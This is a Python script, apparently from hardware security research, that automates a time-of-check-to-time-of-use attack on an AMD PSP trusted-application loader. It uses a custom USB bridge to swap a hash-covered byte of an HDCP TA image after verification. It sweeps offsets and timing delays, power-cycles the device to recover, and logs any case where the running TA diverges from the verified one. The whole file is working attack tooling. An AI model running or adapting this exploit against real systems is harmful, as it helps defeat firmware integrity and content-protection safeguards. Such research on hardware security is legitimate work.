path: root/psp_out/toctou_sweep.py

"""Autonomous TOCTOU hunt: sweep timing x offset, self-calibrate, self-heal, forever.

Rationale: free-running flipping is a 50/50 lottery, so a NARROW verify->load gap
is almost never sampled. Firmware mode 7 gives a one-shot targeted swap: write A,
spin `delay`, then write B exactly once. Sweeping `delay` walks that single swap
through the window. Sweeping `offset` covers loader-consumed header fields as well
as body bytes.

Per attempt:
    stage pristine image in bridge SRAM
    arm one-shot (A now, B after `delay`)
    LOAD_TA
    if it loaded: invoke the TA and compare behaviour against the pristine baseline
        behaviour differs  -> the RUNNING TA != the VERIFIED image  == TOCTOU
        status/sid anomaly -> logged as interesting

Self-calibration: for each offset we first confirm the byte is hash-covered
(pinned-corrupt must fail); offsets that are not covered are skipped, because a
"divergence" there would prove nothing.

Self-healing: if the PSP ring stops responding (repeated exceptions), power-cycle
the PCIe link (same mechanism as psp_recover.py) and re-init. Progress, stats and
any hit are checkpointed to disk so this can run unattended.

Usage:  PYTHONPATH=. python3 psp_out/toctou_sweep.py [max_minutes]
"""
import ctypes, json, os, sys, time, traceback
from tinygrad import Device
from tinygrad.runtime.autogen.am import am
from tinygrad.helpers import lo32, hi32

P = '/Users/user/dev/amd-psp-re/psp_out/'
SZ = ctypes.sizeof(am.struct_psp_gfx_cmd_resp)
STATE = '/tmp/toctou_sweep_state.json'

M_DISARM, M_POKE_A, M_METHOD0, M_PEEK, M_ONESHOT, M_DWELL = 0, 2, 4, 6, 7, 8
FLIP_REQ = 0xF4

# offsets worth trying: loader-consumed header fields first, then body bytes
OFFSETS = [0x114, 0x11C, 0x10C, 0x118, 0x120, 0x038, 0x200, 0x400, 0x800, 0xC00]
# one-shot delays (8051 spin counts). coarse-to-fine, covers ~sub-us to ~ms
# Coarse grid located the PSP's read between 4096 and 8192 spins. A SECOND read
# would hide inside that unexplored 2x gap, so allow a fine sweep there.
#   TOCTOU_FINE=1        -> dense grid across the transition
#   TOCTOU_LO / TOCTOU_HI-> custom bounds
_LO = int(os.environ.get('TOCTOU_LO', 4096)); _HI = int(os.environ.get('TOCTOU_HI', 8192))
if os.environ.get('TOCTOU_FINE'):
  _STEP = max(1, (_HI - _LO) // 32)
  DELAYS = list(range(_LO, _HI + _STEP, _STEP))
else:
  DELAYS = [0, 1, 2, 4, 8, 16, 32, 64, 128, 256, 512, 1024, 2048, 4096, 8192, 16384, 32768, 65535]


class Sweep:
  def __init__(self):
    self.attach()
    self.hdcp = open(P + 'hdcp_full.bin', 'rb').read()
    self.baseline = None
    self.stats = {'attempts': 0, 'loaded': 0, 'rejected': 0, 'errors': 0, 'resets': 0,
                  'diverged': 0, 'anomalies': [],
                  # per-(offset,delay) outcome buckets -> "loaded/total".
                  # Pooling across delays hides the only informative dimension:
                  # pass-rate vs delay tells us WHEN the PSP reads the buffer.
                  # flat ~50%  -> read not synchronised to our swap => single fetch
                  # sharp step -> we have located the read moment in time
                  'by_delay': {}, 'by_off_delay': {}}

  def _bucket(self, off, delay, loaded):
    for key, d in (('%d' % delay, self.stats['by_delay']),
                   ('%#x@%d' % (off, delay), self.stats['by_off_delay'])):
      e = d.setdefault(key, [0, 0])
      e[0] += 1 if loaded else 0
      e[1] += 1

  # ---------- device ----------
  def attach(self):
    self.dev = Device["AMD"]; self.adev = self.dev.iface.dev_impl
    self.psp = self.adev.psp
    ctrl = self.adev.pci_dev.usb
    self.usb = getattr(ctrl, 'usb', ctrl); self.ctrl = ctrl
    self.sids = []
    self.cmd(M_METHOD0)

  def cmd(self, mode, off=0, a=0, b=0, widx=None):
    wval = ((mode & 0xF) << 12) | (off & 0x0FFF)
    wi = widx if widx is not None else (((b & 0xFF) << 8) | (a & 0xFF))
    self.usb.control_write(FLIP_REQ, wval, wi)

  def set_ab(self, off, a, b): self.cmd(M_DISARM, off, a, b)
  def poke(self, off, v):      self.cmd(M_POKE_A, off, a=v)
  def oneshot(self, off, delay): self.cmd(M_ONESHOT, off, widx=delay & 0xFFFF)  # off MUST be passed: fw sets flip_off from wValue on every cmd

  def alloc(self, n):
    pa = self.adev.mm.palloc(n, align=0x1000, zero=True)
    return pa, self.adev.paddr2mc(pa)

  def bufs(self):
    """Cached cmd buffer. Allocating per-attempt leaks VRAM and kills long runs."""
    if getattr(self, '_cmdbuf', None) is None:
      self._cmdbuf = self.alloc(0x8000)
    return self._cmdbuf

  def stat(self):
    return int.from_bytes(bytes(self.adev.vram.view(self.psp.cmd_paddr, SZ)[:])[864:868], 'little')

  def stage(self): self.psp._prep_msg1(memoryview(self.hdcp))

  def load(self):
    cp, cmc = self.bufs()
    c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_LOAD_TA); t = c.cmd.cmd_load_ta
    t.app_phy_addr_hi, t.app_phy_addr_lo = hi32(self.psp.msg1_addr), lo32(self.psp.msg1_addr)
    t.app_len = len(self.hdcp)
    t.cmd_buf_phy_addr_hi, t.cmd_buf_phy_addr_lo = hi32(cmc), lo32(cmc); t.cmd_buf_len = 0x8000
    try:
      r = self.psp._ring_submit(c); sid = r.resp.session_id
      if sid: self.sids.append(sid)
      return self.stat(), sid, cp, None
    except Exception as e:
      return self.stat(), 0, cp, type(e).__name__

  def invoke(self, sid, shm, ta_cmd=0x01):
    self.adev.vram.view(shm, 0x8000)[:] = bytes(0x8000); self.adev.gmc.flush_hdp()
    self.adev.vram.view(self.psp.cmd_paddr, SZ)[:] = b"\x00" * SZ
    ic = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD); iv = ic.cmd.cmd_invoke_cmd
    iv.session_id, iv.ta_cmd_id = sid, ta_cmd
    try: self.psp._ring_submit(ic); ps = 0
    except RuntimeError: ps = self.stat()
    except TimeoutError: return ('TIMEOUT', None)
    return ps, bytes(self.adev.vram.view(shm, 0x40)[:])

  def unload_all(self):
    for sid in self.sids:
      try:
        c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_UNLOAD_TA)
        c.cmd.cmd_unload_ta.session_id = sid; self.psp._ring_submit(c)
      except Exception: pass
    self.sids = []

  def recover(self):
    """PCIe power-cycle. NOTE: tinygrad caches Device["AMD"], so a power cycle
    cannot be fully recovered in-process -- the cached object keeps stale state.
    We power-cycle and reload ASD, but if the ring stays wedged the caller should
    exit so a supervisor can restart with a FRESH process."""
    self.stats['resets'] += 1
    print("  !! recovering (PCIe power cycle) ...", flush=True)
    try:
      self.usb.control_write(0xF3, value=0, timeout=10000); time.sleep(2.5)
      self.usb.control_write(0xF3, value=1, timeout=10000); time.sleep(2.0)
    except Exception: pass
    time.sleep(1.0)
    try:
      self.sids = []
      self.cmd(M_METHOD0)
      self.load_asd()                      # PSP lost ASD across the power cycle
      return self.get_baseline() is not None
    except Exception:
      return False

  # ---------- experiment ----------
  def load_asd(self):
    """REQUIRED before LOAD_TA: without ASD, LOAD_TA returns status=0 but sid=0.
    Must be re-done after every PCIe power-cycle, since the PSP loses it."""
    blob = open(P + 'asd_full.bin', 'rb').read()
    if getattr(self, '_asdbuf', None) is None:
      self._asdbuf = (self.alloc(0x40000), self.alloc(0x8000))
    (ap, amc), (cp, cmc) = self._asdbuf
    self.adev.vram.view(ap, len(blob))[:] = blob; self.adev.gmc.flush_hdp()
    c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_LOAD_ASD); t = c.cmd.cmd_load_ta
    t.app_phy_addr_hi, t.app_phy_addr_lo = hi32(amc), lo32(amc); t.app_len = len(blob)
    t.cmd_buf_phy_addr_hi, t.cmd_buf_phy_addr_lo = hi32(cmc), lo32(cmc); t.cmd_buf_len = 0x8000
    try: return self.psp._ring_submit(c).resp.status
    except Exception as e: return 'EXC:' + type(e).__name__

  def get_baseline(self, verbose=False):
    self.unload_all(); self.cmd(M_DISARM); self.stage()
    st, sid, shm, exc = self.load()
    if verbose: print("   baseline load: status=%#x sid=%s exc=%s" % (st, sid, exc), flush=True)
    if st or not sid: return None
    r = self.invoke(sid, shm)
    if verbose: print("   baseline invoke: %s" % (r[0],), flush=True)
    self.unload_all()
    return (r[0], r[1][:16] if r[1] else None)

  def covered(self, off):
    """Is this byte covered by the integrity check? (pinned-corrupt must fail)"""
    self.unload_all(); self.stage()
    self.poke(off, self.hdcp[off] ^ 0xFF)
    st, sid, _, _ = self.load()
    self.unload_all()
    return st != 0

  def attempt(self, off, delay):
    g = self.hdcp[off]
    self.unload_all(); self.stage()
    self.set_ab(off, g, g ^ 0xFF)      # A = genuine, B = corrupt
    self.oneshot(off, delay)           # writes A now, B after `delay`
    st, sid, shm, exc = self.load()
    self.stats['attempts'] += 1
    if exc: self.stats['errors'] += 1
    self._bucket(off, delay, st == 0 and bool(sid))
    if st == 0 and sid:
      self.stats['loaded'] += 1
      cur = self.invoke(sid, shm)
      cur = (cur[0], cur[1][:16] if cur[1] else None)
      self.unload_all()
      if cur != self.baseline:
        self.stats['diverged'] += 1
        return ('DIVERGE', st, cur)
      return ('ok', st, cur)
    self.stats['rejected'] += 1
    self.unload_all()
    return ('reject', st, exc)

  def save(self):
    try: json.dump(self.stats, open(STATE, 'w'), indent=1, default=str)
    except Exception: pass


if __name__ == '__main__':
  budget_min = float(sys.argv[1]) if len(sys.argv) > 1 else 30.0
  s = Sweep()
  t0 = time.time()
  print("LOAD_ASD (required before LOAD_TA):", s.load_asd(), flush=True)
  print("baseline...", flush=True)
  s.baseline = s.get_baseline(verbose=True)
  if s.baseline is None:
    print("  retrying baseline after recovery...", flush=True)
    s.recover()
    s.baseline = s.get_baseline(verbose=True)
  if s.baseline is None:
    print("cannot get baseline -- TA will not load at all; fix that before sweeping")
    sys.exit(1)
  print("  baseline =", (s.baseline[0], s.baseline[1].hex() if s.baseline[1] else None), flush=True)

  print("calibrating which offsets are hash-covered...", flush=True)
  good = []
  for off in OFFSETS:
    try:
      c = s.covered(off)
    except Exception:
      s.recover(); c = False
    print("   off %#05x covered=%s" % (off, c), flush=True)
    if c: good.append(off)
  print("  usable offsets:", [hex(o) for o in good], flush=True)

  print("\nsweeping (offset x delay), ctrl-C to stop\n", flush=True)
  rnd = 0
  try:
    while (time.time() - t0) / 60.0 < budget_min:
      rnd += 1
      for off in good:
        for d in DELAYS:
          try:
            kind, st, info = s.attempt(off, d)
          except Exception as e:
            s.stats['errors'] += 1
            if not s.recover(): print("recovery failed, stopping"); raise
            continue
          if kind == 'DIVERGE':
            # Auto-replicate with a paired control BEFORE reporting: a lone
            # anomaly is usually device noise (this cost us a false 0x118 hit).
            print("   candidate off=%#x delay=%d (%s) -- replicating..." % (off, d, info), flush=True)
            fl = ct = 0
            for _ in range(6):
              try:
                k1, _, _ = s.attempt(off, d)                      # real flip
                g = s.hdcp[off]; s.unload_all(); s.stage()
                s.set_ab(off, g, g); s.oneshot(off, d)            # control: A==B
                st2, sid2, shm2, _ = s.load()
                k2 = 'ok'
                if st2 == 0 and sid2:
                  c2 = s.invoke(sid2, shm2)
                  if (c2[0], c2[1][:16] if c2[1] else None) != s.baseline: k2 = 'DIVERGE'
                s.unload_all()
                fl += (k1 == 'DIVERGE'); ct += (k2 == 'DIVERGE')
              except Exception:
                s.recover()
            verdict = 'REAL SIGNAL' if fl > ct + 1 else 'noise (control diverges too)'
            msg = ("off=%#x delay=%d flip_div=%d/6 ctrl_div=%d/6 -> %s"
                   % (off, d, fl, ct, verdict))
            print("   *** %s" % msg, flush=True)
            s.stats['anomalies'].append(msg); s.save()
          if s.stats['attempts'] % 25 == 0:
            print("   [%s] att=%d loaded=%d rej=%d err=%d div=%d rst=%d (off=%#x d=%d)"
                  % (time.strftime('%H:%M:%S'), s.stats['attempts'], s.stats['loaded'],
                     s.stats['rejected'], s.stats['errors'], s.stats['diverged'],
                     s.stats['resets'], off, d), flush=True)
            s.save()
  except KeyboardInterrupt:
    print("\ninterrupted")
  finally:
    s.unload_all(); s.save()
    print("\nFINAL:", json.dumps(s.stats, indent=1, default=str))